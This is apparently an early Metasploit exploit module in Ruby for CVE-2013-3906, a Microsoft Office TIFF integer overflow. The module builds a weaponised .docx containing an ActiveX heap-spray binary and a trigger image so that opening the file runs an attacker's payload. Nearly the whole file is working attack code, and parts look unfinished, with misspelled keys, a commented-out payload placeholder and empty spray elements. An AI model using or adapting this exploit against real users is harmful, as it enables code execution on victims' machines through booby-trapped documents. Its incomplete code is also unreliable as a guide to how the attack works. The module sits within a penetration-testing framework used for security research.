metasploit-framework/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb

601 lines
21 KiB
Ruby
Raw Normal View History

2013-11-20 05:10:32 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/zip'
require 'Nokogiri'
module ::Nokogiri
module XML
class Builder
#
# Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
# So here's our hack to get around that.
#
def custom_root(ns)
e = @parent.create_element(ns)
e.add_namespace_definition(ns, "href")
@ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
return self
end
end
end
end
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Tagged Image File Format (TIFF) Integer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Microsoft's Tagged Image File Format.
It was originally discovered in the wild, targeting Windows XP and Windows Server 2003
users running Microsoft Office, specifically in the Middle East and South Asia region.
The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
and stored in the EAX register. The 32-bit register will run out of storage space to
represent the large vlaue, which ends up being 0, but it still gets pushed as a
dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
chunk anyway with size 0, and the address of this chunk is used as the destination buffer
of a memcpy function, where the source buffer is the EXIF data (an extended image format
supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
by HeapAlloc will end up being overwritten by the memcpy function, and then later used
in OGL!GdipCreatePath. By successfully controlling this function pointer, and the
memory layout using ActiveX, it is possible to gain arbitrary code execution under the
context of the user.
Please note the victim machine may experience some lag while opening the file before
the malicious payload is executed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Some dude wrote it and deployed in the wild
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-3906' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2896666' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx' ]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "process"
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 with Office 2010', {}],
],
'Privileged' => false,
'DisclosureDate' => "Nov 8 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']),
], self.class)
end
#
# Creates a TIFF that triggers the overflow
#
def make_tiff
# TIFF Header:
# TIFF ID = 'II' (Intel order)
# TIFF Version = 42d
# Offset of FID = 0x000049c8h
#
# Image Directory:
# Number of entries = 17d
# Entry[0] NewSubFileType = 0
# Entry[1] ImageWidth = 256d
# Entry[2] ImageHeight = 338d
# Entry[3] BitsPerSample = 8 8 8
# Entry[4] Compression = JPEG (6)
# Entry[5] Photometric Interpretation = RGP
# Entry[6] StripOffsets = 68 entries (349 bytes)
# Entry[7] SamplesPerPixel = 3
# Entry[8] RowsPerStrip = 5
# Entry[9] StripByteCounts = 68 entries (278 bytes)
# Entry[10] XResolution = 96d
# Entry[11] YResolution = 96d
# Entry[12] Planar Configuration = Clunky
# Entry[13] Resolution Unit = Inch
# Entry[14] Predictor = None
# Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
# Entry[16] JPEGInterchangeFormat = 13636d
# Notes:
# These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
# - JPEGInterchangeFormatLength
# - DWORD at offset 3324h (0xffffb898), no documentation for this
# - DWORDS after offset 3328h, no documentation for these, either.
# The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
# The trigger is really a TIF file, but is named as a JPEG in the docx package
buf = ''
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
::File.open(path, "rb") do |f|
buf = f.read
end
buf
end
#
# Creates an ActiveX bin that will be used as a spray in Office
#
def make_activex_bin
#
# How an ActiveX bin is referred:
# document.xml.rels -> ActiveX[num].xml -> activeX[num].xml.rels -> ActiveX[num].bin
# Every bin is a Microsoft Compound Document File:
# http://www.openoffice.org/sc/compdocfileformat.pdf
# The bin file
mscd = ''
mscd << [0xe011cfd0].pack('V') # File identifier (first 4 byte)
mscd << [0xe11ab1a1].pack('V') # File identifier (second 4 byte)
mscd << [0x00000000].pack('V') * 4 # Unique Identifier
mscd << [0x003e].pack('v') # Revision number
mscd << [0x0003].pack('v') # Version number
mscd << [0xfffe].pack('v') # Byte order: Little-Endian
mscd << [0x0009].pack('v') # Sector size
mscd << [0x0006].pack('v') # Size of a short-sector
mscd << "\x00" * 10 # Not used
mscd << [0x00000001].pack('V') # Total number of sectors
mscd << [0x00000001].pack('V') # SecID for the first sector
mscd << [0x00000000].pack('V') # Not used
mscd << [0x00001000].pack('V') # Minimum size of a standard stream
mscd << [0x00000002].pack('V') # Sec ID of first sector
mscd << [0x00000001].pack('V') # Total number of sectors for the short-sector table
mscd << [0xfffffffe].pack('V') # SecID of first sector of the mastser sector table
mscd << [0x00000000].pack('V') # Total number of sectors for master sector talbe
mscd << [0x00000000].pack('V') # SecIDs
mscd << [0xffffffff].pack('V') * 4 * 59 # SecIDs
mscd << Rex::Text.to_unicode("Root Entry")
mscd << [0x00000000].pack('V') * 11
mscd << [0x0016].pack('v') # Valid range of the previous char array
mscd << "\x05" # Type of entry (Root Storage Entry)
mscd << "\x00" # Node colour of the entry (red)
mscd << [0xffffffff].pack('V') # DirID of the left child node
mscd << [0xffffffff].pack('V') # DirID of the right child node
mscd << [0x00000001].pack('V') # DirID of the root node entry
mscd << [0x1efb6596].pack('V')
mscd << [0x11d1857c].pack('V')
mscd << [0xc0006ab1].pack('V')
mscd << [0x283628f0].pack('V')
mscd << [0x00000000].pack('V') * 3
mscd << [0x287e3070].pack('V')
mscd << [0x01ce2654].pack('V')
mscd << [0x00000003].pack('V')
mscd << [0x00000100].pack('V')
mscd << [0x00000000].pack('V')
mscd << Rex::Text.to_unicode("Contents")
mscd << [0x00000000].pack('V') * 12
mscd << [0x01020012].pack('V')
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 10
mscd << [0x000000e4].pack('V')
mscd << [0x00000000].pack('V') * 18
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 29
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 12
mscd << [0x00000001].pack('V')
mscd << [0x00000002].pack('V')
mscd << [0x00000003].pack('V')
mscd << [0xfffffffe].pack('V')
mscd << [0xffffffff].pack('V') * 52
# mscd << "PAYLOAD"
mscd
end
#
# Creates an activeX[num].xml file
# @param rid [String] The relationship ID (example: rId1)
# @return [String] XML document
#
def make_activex_xml(rid)
attrs = {
'ax:classid' => "{1EFB6596-857C-11D1-B16A-00C0F0283628}",
'ax:license' => "9368265E-85FE-11d1-8BE3-0000F8754DA1",
'ax:persistence' => "persistStorage",
'r:id' => rid,
'xmlns:ax' => "http://schemas.microsoft.com/office/2006/activeX",
'xmlns:r' => "http://schemas.openxmlformats.org/officeDocument/2006/relationships"
}
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.custom_root("ax")
xml.ocx(attrs)
end
builder.to_xml
end
#
# Creates an activeX[num].xml.rels
# @param relationships [Array] A collection of hashes with each containing:
# :id, :type, :target
# @return [String] XML document
#
def make_activex_xml_reals(rid, target_bin)
acx_type = "http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary"
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types") do
xml.Relationship({:Id=>rid, :Type=>acx_type, :Target=>target_bin})
end
end
builder.to_xml
end
#
# Creates a document.xml.reals file
# @param relationships [Array] A collection of hashes with each containing:
# :id, :type, and :target
# @return [String] XML document
#
def make_doc_xml_reals(relationships)
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types") do
relationships.each do |r|
xml.Relationship({:Id=>r[:id], :Type=>r[:type], :Target=>r[:target]})
end
end
end
builder.to_xml
end
#
# Creates a document.xml file
# @param pre_defs [Array]
# @param activex [Array]
# @param tiff_file [Array]
# @return [String] XML document
#
def init_doc_xml(pre_defs, activex, tiff_file)
# Get all the required pre-defs
chart_rids = []
pre_defs.select { |e| chart_rids << e[:rid] }
# Get all the ActiveX RIDs
ax_rids = []
activex.select { |e| ax_rids << e[:rid] }
# Get the TIFF RID
tiff_rid = tiff_file[:rid]
# Documentation on how this is crafted:
# http://msdn.microsoft.com/en-us/library/office/gg278308.aspx
doc_attrs = {
'xmlns:ve' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
'xmlns:o' => "urn:schemas-microsoft-com:office:office",
'xmlns:r' => "http://schemas.openxmlformats.org/officeDocument/2006/relationships",
'xmlns:m' => "http://schemas.openxmlformats.org/officeDocument/2006/math",
'xmlns:v' => "urn:schemas-microsoft-com:vml",
'xmlns:wp' => "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
'xmlns:w' => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
'xmlns:a' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
'xmlns:c' => "http://schemas.openxmlformats.org/markup-compatibility/2006"
}
p_attrs = {
'w:rsidR' => "00F8254F",
'w:rsidRDefault' => "00D15BD0"
}
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.custom_root("w")
xml.document(doc_attrs) do
xml.body do
# Paragraph (ActiveX)
xml.p(p_attrs) do
# Paragraph properties
xml.pPr do
# Run properties
xml.rPr do
xml.lang({'w:val' => "en-US"})
end
# The "spray" is contained in these "run" elements
xml.r do
end
end
end
# Paragraph (Charts)
xml.p(p_attrs) do
xml.pPr do
xml.r do
xml.rPr do
xml.noProof
xml.lang({'w:val' => "en-US"})
end
xml.drawing do
xml.inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
#xml.extend({'cx'=>'1', 'cy'=>'1'})
xml.effectExtend({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
xml.docPr({'id'=>'1', 'name' => "drawing 1"})
xml.cNvGraphicFramePr
xml['a'].graphic({'xmlns'=>"http://schemas.openxmlformats.org/drawingml/2006/main"}) do
xml['a'].graphicData({'uri'=>"http://schemas.openxmlformats.org/drawingml/2006/chart"}) do
xml['c'].chart({'xmlns:c'=>"http://schemas.openxmlformats.org/drawingml/2006/chart", 'xmlns:r'=>"http://schemas.openxmlformats.org/officeDocument/2006/relationships"})
end
end
end
end
end
end
end
# Paragraph (TIFF)
end
end
end
builder.to_xml
end
#
# Creates a [Content.Types].xml file located in the parent directory
# @param overrides [Array] A collection of hashes with each containing
# the :PartName and :ContentType info
# @return [String] XML document
#
def make_contenttype_xml(overrides)
contenttypes = [
{
:Extension =>"rels",
:ContentType =>"application/vnd.openxmlformats-package.relationships+xml"
},
{
:Extension =>"xml",
:ContentType =>"application/xml"
},
{
:Extension =>"jpeg",
:Contenttype =>"image/jpeg"
},
{
:Extension => "bin",
:ContentType => "application/vnd.ms-office.activeX"
},
{
:Extension => "xlsx",
:ContentType => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
}
]
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.root({'xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types"}) do
# Default extensions
contenttypes.each do |contenttype|
xml.Override(contenttype)
end
# Additional overrides
overrides.each do |override|
xml.Override({:PartName => override[:PartName], :ContentType => override[:ContentType]})
end
end
end
builder.to_xml
end
#
# Pre-define some items that already exist in the data directory
# This is more for the document.xml.rels file
#
def init_pre_defs
last_rid = 0
pre_defs = []
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}styles", :fname => "word/styles.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}settings", :fname => "word/settings.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}webSettings", :fname => "word/webSettings.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}theme", :fname => "word/theme/theme1.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart1.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart2.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart3.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart4.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart5.xml"}
pre_defs << {:rid => (last_rid += 1), :type => "#{@schema}chart", :fname => "word/charts/chart6.xml"}
return last_rid, pre_defs
end
#
# Manually create everything manually in the ActiveX directory
#
def init_activex_files(last_rid)
activex = []
1.times do |i|
id = last_rid + i
last_rid = id
rid = "rId#{id.to_s}"
bin = {
:fname => "word/activeX/ActiveX#{id.to_s}.bin",
:bin => make_activex_bin
}
xml = {
:fname => "word/activeX/ActiveX#{id.to_s}.xml",
:xml => make_activex_xml(rid)
}
rels = {
:fname => "word/activeX/_rels/activeX#{id.to_s}.xml.rels",
:rels => make_activex_xml_reals(rid, "activeX#{id.to_s}.bin")
}
ct = "application/vnd.ms-office.activeX+xml"
type = "#{@schema}control"
activex << {
:rid => rid,
:bin => bin,
:xml => xml,
:rels => rels,
:content_type => ct
}
end
return last_rid, activex
end
#
# Create a [Content_Types.xml], each node contains these attributes:
# :PartName The path to an ActiveX XML file
# :ContentType The contenttype of the XML file
#
def init_contenttype_xml_file(activex)
overrides = []
activex.each do |obj|
overrides << {:PartName => obj[:xml][:fname], :ContentType => obj[:content_type]}
end
{:fname => "[Content_Types].xml", :data => make_contenttype_xml(overrides)}
end
#
# Creates the tiff file
#
def init_tiff_file(last_rid)
{
:rid => "rId#{(last_rid + 1).to_s}",
:fname => "word/media/image1.jpeg",
:data => make_tiff,
:type => "#{@schema}image"
}
end
#
# Create the document.xml.rels file
#
def init_doc_xml_reals_file(pre_defs, activex, tiff)
reals = []
pre_defs.each do |obj|
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^word\//, '')}
end
activex.each do |obj|
reals << {:id => obj[:rid], :tyoe => obj[:type], :target => obj[:xml][:fname].gsub(/^word\//, '')}
end
reals << {:id => tiff[:rid], :type => tiff[:type], :target => tiff[:fname].gsub(/^word\//, '')}
{:fname => "word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals)}
end
#
# Loads a fiile
#
def read_file(fname)
buf = ''
::File.open(fname, "rb") do |f|
buf << f.read
end
buf
end
#
# Packages everything to docx
#
def make_docx(path)
print_status("Initializing files...")
last_rid, pre_defs = init_pre_defs
last_rid, activex = init_activex_files(last_rid)
ct_xml_file = init_contenttype_xml_file(activex)
tiff_file = init_tiff_file(last_rid)
doc_xml_reals_file = init_doc_xml_reals_file(pre_defs, activex, tiff_file)
doc_xml = init_doc_xml(pre_defs, activex, tiff_file)
zip = Rex::Zip::Archive.new
Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')
if File.directory?(file)
print_status("Packing directory: #{p}")
zip.add_file(p)
else
print_status("Packing file: #{p}")
zip.add_file(p, read_file(file))
end
end
activex.each do |ax|
ax_bin = ax[:bin]
ax_xml = ax[:xml]
ax_rels = ax[:rels]
print_status("Packing file: #{ax_bin[:fname]}")
zip.add_file(ax_bin[:fname], ax_bin[:bin])
print_status("Packing file: #{ax_xml[:fname]}")
zip.add_file(ax_xml[:fname], ax_xml[:xml])
print_status("Packing file: #{ax_rels[:fname]}")
zip.add_file(ax_rels[:fname], ax_rels[:rels])
end
print_status("Packing file: #{ct_xml_file[:fname]}")
zip.add_file(ct_xml_file[:fname], ct_xml_file[:data])
print_status("Packing file: #{tiff_file[:fname]}")
zip.add_file(tiff_file[:fname], tiff_file[:data])
print_status("Packing file: #{doc_xml_reals_file[:fname]}")
zip.add_file(doc_xml_reals_file[:fname], doc_xml_reals_file[:data])
zip.pack
end
def exploit
@schema = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/"
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906")
docx = make_docx(path)
file_create(docx)
end
end